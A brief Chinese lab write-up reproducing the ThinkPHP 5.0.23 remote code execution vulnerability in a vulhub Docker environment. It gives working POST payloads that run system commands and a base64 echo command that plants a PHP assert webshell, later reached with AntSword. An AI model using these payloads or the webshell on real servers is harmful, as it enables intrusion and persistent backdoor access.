漏洞介绍
ThinkPHP5.0.23版本的漏洞:获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
进入漏洞目录/vulhub-master/thinkphp/5.0.23-rce#
启动环境
需要修改配置文件,docker-compose.yml ,将版本3.0改为2
vi docker-compose.yml
环境下载
环境安装 docker-compose up -d
查看镜像运行 docker-compose
漏洞复现
使用POST传参,可以使用burpsuit或者hackbar
访问 index.php?s=captcha 页面出现报错信息。
使用hackbar插件发送post请求:执行whoami命令,爆出用户信息
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
查看文件目录
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
命令执行成功,上传一句话木马
aaa<?php @assert($_POST['root']);?>bbb
需要进行base64编码,编码后内容如下红色字体,蓝色为上传的目录及文件名
echo YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3Jvb3QnXSk7Pz5iYmI= | base64 -d >>/var/www/public/1.php
上传后访问1.php,成功回显aaabbb,文件解析成功
使用蚁剑进行连接,成功访问到目录
复现成功